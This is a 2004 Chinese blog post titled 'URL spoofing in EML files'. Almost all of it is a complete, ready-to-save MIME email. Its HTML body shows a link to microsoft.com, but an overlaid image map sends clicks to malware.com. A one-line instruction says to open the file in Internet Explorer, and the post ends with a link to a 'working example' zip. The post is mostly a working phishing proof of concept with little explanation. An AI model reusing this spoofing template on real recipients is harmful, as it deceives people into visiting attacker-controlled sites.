翱翔.Net

释放.Net的力量
  博客园  :: 首页  :: 新随笔  :: 联系 :: 订阅 订阅  :: 管理

在EML文件中url期骗

Posted on 2004-05-12 08:44  Hover  阅读(1260)  评论(0编辑  收藏  举报

To: boss@bloatedcorp.com
Subject: A Must See
X-Source: 08.05.04 http://www.malware.com
MIME-Version: 1.0
Content-Type: multipart/related;
 boundary="----=_NextPart_000_002A_01C4351A.9D8A12B0";
 type="multipart/alternative"

This is a multi-part message in MIME format.

------=_NextPart_000_002A_01C4351A.9D8A12B0
Content-Type: multipart/alternative;
 boundary="----=_NextPart_001_002B_01C4351A.9D8A12B0"


------=_NextPart_001_002B_01C4351A.9D8A12B0
Content-Type: text/plain;
 charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable


 
------=_NextPart_001_002B_01C4351A.9D8A12B0
Content-Type: text/html;
 charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable

 
<BODY bgColor=3D#ffffff>
<DIV>&nbsp;</DIV><A href=3D"http://www.microsoft.com"><IMG=20
src=3D"cid:malware" useMap=3D#malware=20
border=3D0></A> <MAP name=3Dmalware><AREA shape=3DRECT =
coords=3D0,0,224,21=20
  href=3D"http://www.malware.com"></MAP></BODY></HTML>

------=_NextPart_001_002B_01C4351A.9D8A12B0--

------=_NextPart_000_002A_01C4351A.9D8A12B0
Content-Type: image/gif;
 name="malware.gif"
Content-Transfer-Encoding: base64
Content-ID: <malware>

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
Ow==

------=_NextPart_000_002A_01C4351A.9D8A12B0--

另存为*.eml文件用IE打开,点击http://www.microsoft.com 会跳到http://www.malware.com
Working Example:

http://www.malware.com/pheeesh.zip